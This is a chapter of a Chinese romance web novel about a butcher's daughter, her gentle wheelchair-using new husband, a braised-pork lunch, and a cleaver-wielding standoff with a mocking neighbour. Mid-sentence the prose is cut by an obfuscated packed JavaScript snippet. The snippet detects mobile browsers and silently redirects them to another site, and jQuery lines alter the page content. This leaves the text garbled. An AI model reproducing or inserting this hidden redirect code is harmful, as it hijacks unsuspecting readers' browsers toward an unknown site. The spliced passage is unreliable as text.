姜至是被窗外叽叽喳喳的麻雀吵醒的。
她猛地坐起身，后腰磕在炕沿上，疼得“嘶”了一声才彻底清醒。
地铺的粗布褥子被她滚得皱巴巴的，晨光从窗棂缝里钻进来，在地上投下斑驳的光影。
屋里静悄悄的，只有炕头那截燃尽的红烛，凝固的蜡泪像串歪歪扭扭的珍珠。
陈最不在屋里，轮椅也不见了踪影。
姜至心里咯噔一下，光着脚就往门口跑，刚摸到门闩又想起什么，慌忙回身套上布鞋，手忙脚乱地系着扣子，指尖都在发烫。
“醒了？”
温润的声音从院里传来，姜至推开门就撞进一片温柔的晨光里。
陈最坐在轮椅上，正对着院墙根的太阳喝茶，手里捧着个掉了漆的大红茶缸，蒸腾的热气模糊了他的眉眼。
他穿了件干净的白衬衫，袖口一丝不苟地扣着，阳光落在他浓密的睫毛上，连那层薄薄的水雾都染上了金边。
姜至看得有些发怔。
在村里见惯了汗流浃背的糙汉，她从未见过哪个男人能把清贫日子过出这般清润的模样，连喝口粗茶都像幅画。
“你怎么起这么早？”她走到他身边，闻到空气里除了熟悉的烟火气，还多了股淡淡的皂角香，想来是他早上洗过脸了。
陈最转动轮椅面对着她，眼底盛着晨光：“习惯了早起看书。看你睡得沉，没舍得叫醒你。”
他说话时尾音轻轻上扬，带着点不易察觉的笑意：“爸妈一早就去肉铺了，说让咱们年轻人多歇歇。”
姜至的脸颊“腾”地红了。
想起昨晚分榻而卧的窘迫，想起自己说的“权宜之计”，再看陈最坦荡温和的眼神，心里像揣了只乱撞的兔子。
她慌忙移开视线，假装整理衣襟：“那、那我去做饭。按规矩，新媳妇头天要下厨的。”
陈最看着她泛红的耳根，眼底的笑意更深了：“锅里温着粥，妈早上特意留的。你先洗漱，我等你。”
院里的压水井被晒得发烫，姜至摇着轱辘汲水，冰凉的井水溅在胳膊上，激得她打了个激灵。她掬起水拍在脸上，镜子似的水面映出自己红扑扑的脸，鬓角还有几缕没梳顺的碎发。
“阿最，”她对着水面小声试了试这个称呼，心跳又开始加速：“你今天还要去卫生所吗？”
陈最正在收拾石桌上的茶缸，闻言回过头：“阿最？”
他轻轻念着这两个字，嘴角弯起个浅浅的梨涡，阳光落在他脸上，连那点不易察觉的病气都淡了：“婚假有三天，不用去。”
“那正好。”姜至用毛巾擦着脸，声音亮堂堂的：“中午我给你做红烧肉，我最拿手的！”
陈最推着轮椅靠近她，鼻尖几乎要碰到她的发顶：“那我该叫你什么？”
他的声音低沉，带着点温热的气息拂过她的耳廓：“总不能一直叫姜同志。”
“之之。”姜至脱口而出，说完又有点不好意思地挠挠头：“我乳名，村里没几个人这么叫。”
“之之。”陈最轻轻唤了一声，尾音缠绵，像是把这两个字含在舌尖细细品味过：“很好听。”
姜至的脸又红了，像被灶火熏过似的。她转身往厨房跑，脚步轻快得像踩着风：“我去热粥！”
早饭是小米粥配咸菜，还有刘秀芬蒸的玉米窝窝头。
陈最吃饭时很安静，细嚼慢咽的，连喝粥都没什么声响。
他用筷子夹咸菜时，手腕轻抬，指节分明，连握筷子的姿势都透着股斯文气，看得姜至都忘了自己要吃什么。
“快吃，粥要凉了。”陈最察觉到她的目光，把自己碗里的煮鸡蛋剥好，轻轻放在她碗边，蛋白剥得完整光滑，连一点蛋壳都没沾。
姜至“哦”了一声，埋头喝粥，心里却乱糟糟的。
自从来到这个世界，见到的都是爹和帮工们呼噜呼噜吃饭的样子，哪见过陈最这样的？他就像年画里走出来的人，干净又体面，和自己这满手老茧的屠户女儿，实在不搭。
“吃完我们去肉铺？”陈最忽然开口，打断了她的胡思乱想：“我想看看你工作的地方。”
姜至一口粥差点喷出来：“去肉铺？那地方又脏又腥……”
“没关系。”陈最看着她，眼神认真：“你在那里，我就想去看看。”
*
姜至推着陈最往肉铺走时，越走越后悔。
夏末的日头毒辣，土路被晒得软绵绵的，车轮碾过扬起一阵尘土。
肉铺在村口老槐树下，老远就能闻到那股混杂着猪油和血腥的气味，和陈最身上清爽的皂角香格格不入。
铺子是两间砖瓦房，门前搭着遮阳的帆布棚，案板是整块的青石板，被剁了十几年，中间凹下去个深深的坑，边缘还沾着暗红的血渍。
老姜正光着膀子在剔排骨，刘秀芬在旁边收拾内脏，看见他们来，手里的活计都停了。
“哎哟，小两口怎么来了？”刘秀芬在围裙上擦着手迎过来，眼睛笑得眯成条缝：“女婿快进屋里坐，外面热。”
她压低声音凑到姜至耳边：“早上我想叫你，女婿拦着说让你多睡会儿，这孩子，真是疼人。”
姜至的脸又红了，心虚地瞥了眼陈最，还好他正看着案板上的砍刀，没注意这边的小动作。她想起昨晚要是被娘发现分榻而卧，指不定要怎么闹，心里对陈最又多了几分感激。
“妈，我想做红烧肉。”姜至推着陈最到帆布棚下的阴凉处：“新婚头一天，得让陈最尝尝我的手艺。”
刘秀芬眼睛瞪得溜圆：“你会做红烧肉？我怎么不知道？”
“偷偷学的。”姜至笑着挽起袖子，走到案板前拿起砍刀：“爸，给我留块五花肉。”
老姜“嘿”了一声，把刚剔好的半扇五花肉往案板上一放，铁砧子发出沉闷的响声：“我闺女要露一手？行，这块最好的给你！”
姜至拿起菜刀，手腕轻转，刀刃精准地落在五花肉边缘，“哐哐哐”几刀就把肉切成大方块，每块都带皮带膘，大小均匀。
她的动作利落干脆，常年剁肉练出的臂力让这粗笨的活计显得格外飒爽，和平时的腼腆判若两人。
陈最坐在轮椅上，安静地看着她。
阳光透过帆布棚的缝隙落在她身上，她额角渗出细密的汗珠，沾湿了鬓角的碎发，鼻尖亮晶晶的，可眼神专注又认真。
他忽然觉得，这满是烟火气的肉铺，因为有了她，竟也变得生动起来。
“你去屋里歇着，这里油烟大。”姜至把切好的肉放进盆里，回头看见陈最还在看着她，脸颊有点发烫。
陈最摇摇头，目光落在案板上那把寒光闪闪的砍刀上：“我在这儿看你做。”
他伸手摸了摸轮椅扶手，指腹摩挲着上面的木纹：“很有意思。”
姜至被他看得有点不自在，转身往厨房走，脚步却轻快了不少。
肉铺后面有间小厨房，垒着土灶台，铁锅被烧得乌黑发亮。
她先把五花肉放进冷水里焯，加了姜片和料酒去腥味，水开后撇去浮沫，用笊篱把肉捞出来沥干。
灶膛里的柴火噼啪作响，映得她脸颊通红。
她往锅里倒了点猪油，等油冒烟了就把肉块倒进去，铁铲翻炒时发出“滋啦滋啦”的声响，肉块渐渐染上金黄的色泽，油脂的香气瞬间弥漫开来。
“要放糖色吗？”刘秀芬端着碗水进来，看见女儿倒油的架势，忍不住咋舌：“你这油放得也太多了！”
“红烧肉就得油香才好吃。”姜至头也不抬，手里的铁铲翻飞：“妈，糖罐给我。”
她舀了两大勺白糖放进锅里，小火慢慢翻炒，直到肉块裹上红亮的糖色，空气里飘着甜丝丝的焦香。接着放葱段、姜片、八角、桂皮，翻炒出香味后加生抽、老抽调味，最后倒热水没过肉块，盖上锅盖焖煮。
“得炖半个钟头。”姜至擦了擦汗，看着灶膛里跳动的火苗，心里暖洋洋的。
她从小在外婆身边帮忙，别的菜不擅长，唯独这红烧肉，是偷偷跟着隔壁王婶学了半年才练出来的手艺，就想着哪天能做给在意的人吃。
陈最不知什么时候推着轮椅到了厨房门口，正安静地看着她。
阳光落在他身上，给他周身镀上了层柔光，他的眼神温和，嘴角带着浅浅的笑意，仿佛在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271330|182312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看什么稀世珍宝。
姜至的心跳漏了一拍，慌忙移开视线：“还要等会儿才好。”
“不急。”陈最的声音温润：“我看着你就好。”
半个钟头过得很快，厨房飘满了红烧肉的香气，连路过的邻居都探头进来问：“老姜家炖肉呢？真香！”
姜至掀开锅盖，一股浓郁的肉香扑面而来。
红亮的肉块在汤汁里微微颤动，肥肉炖得晶莹剔透，瘦肉吸足了汤汁，用筷子轻轻一戳就能穿透。她调大火收汤，汤汁渐渐变得浓稠，紧紧裹在每块肉上，油光锃亮的，看着就让人咽口水。
“成了！”她把红烧肉盛进粗瓷大碗里，撒上一把翠绿的葱花点缀，红白绿三色衬得格外诱人。
刘秀芬已经摆好了桌子，就在帆布棚下，风一吹能闻到槐花香。老姜洗了手，搓着手上的油星子：“快让我尝尝我闺女的手艺！”
姜至先给陈最夹了块最大的，肥瘦相间，颤巍巍的：“你尝尝，看合不合口味。”
陈最拿起筷子，夹起肉块时姿态优雅，他先轻轻吹了吹，然后小口咬下。肉香瞬间在口腔里炸开，肥肉入口即化，一点不腻，瘦肉炖得酥烂，带着甜咸交织的汤汁，火候拿捏得恰到好处。
“很好吃。”他抬眸看向姜至，眼底闪着光，嘴角沾了点酱汁，却丝毫不显狼狈，反而有种说不出的温润：“比我吃过的任何红烧肉都香。”
他吃饭时仪态极好，细嚼慢咽，每一口都吃得很认真，哪怕是在简陋的肉铺棚下，用着粗瓷碗，也透着股从容不迫的斯文气。
姜至看着他安静进食的样子，心里像被什么东西填满了，暖洋洋的。
老姜吃得呼噜作响，一块接一块往嘴里塞：“咱闺女这手艺！比镇上饭店的强多了！”
刘秀芬也不停给陈最夹菜，嘴里念叨着：“多吃点，看你瘦的，以后让闺女天天给你做。”
一家人正吃得热闹，忽然听见肉铺门口传来刺啦的笑声，尖得像指甲刮过玻璃。
“哟，这肉香飘十里地，原来是给吃软饭的补身体呢？”苏雅丽倚在门框上，穿着花衬衫，头发烫得卷卷的，手里还把玩着个红绸子，眼神尖酸地扫过陈最：“有些人啊，自己站不起来，就靠着女人养活，真是没出息。”
她的声音又高又亮，故意让路过的村民都能听见，几个看热闹的立刻围了过来，交头接耳地议论着。
刘秀芬的脸瞬间沉了下来，刚要起身理论，就被老姜拉住了。
老姜使了个眼色，让她别冲动，自己却攥紧了拳头，指节泛白。
陈最握着筷子的手顿了顿，脸上的血色淡了些，却依旧保持着平静，只是垂下的眼帘遮住了眼底的情绪。
姜至慢慢放下筷子，碗沿被她攥得发白。
她没看苏雅丽，而是低头看着自己满是老茧的手，那是常年剁肉、洗猪内脏磨出来的。
她想起昨晚陈最认真说“我觉得你很好”，想起他安静吃饭时温和的眼神，想起那些说他“残废”的闲言碎语。
一股火气从心底直冲头顶，比灶膛里的火苗还要旺。
姜至缓缓站起身，转身走向案板。
阳光照在她挺直的背影上，她拿起那把刚剁完排骨的砍刀，刀身闪着寒光，还沾着没擦干净的血渍。
她拎着刀，一步步走向门口，脚步沉稳，每一步都像踩在人心尖上。
苏雅丽还在唾沫横飞地骂着：“怎么？被我说中了？一个大男人靠女人养，算什么本事……”
话没说完，就看见姜至拎着砍刀站在她面前。
姜至的眼神冷得像冰，嘴角紧抿着，握着刀柄的手稳得很，那把能轻松劈开骨头的砍刀，此刻就在苏雅丽鼻尖前晃悠。
空气瞬间凝固了。
刚才还叽叽喳喳的议论声戛然而止，连风吹过树叶的声音都听得清清楚楚。
围观的村民吓得往后退了两步，大气都不敢出。
苏雅丽脸上的笑容僵住了，嘴唇哆嗦着，一句话都说不出来，眼里的嚣张被恐惧取代。
整个肉铺门口，鸦雀无声，只有那把沾着血渍的砍刀，在阳光下闪着慑人的光。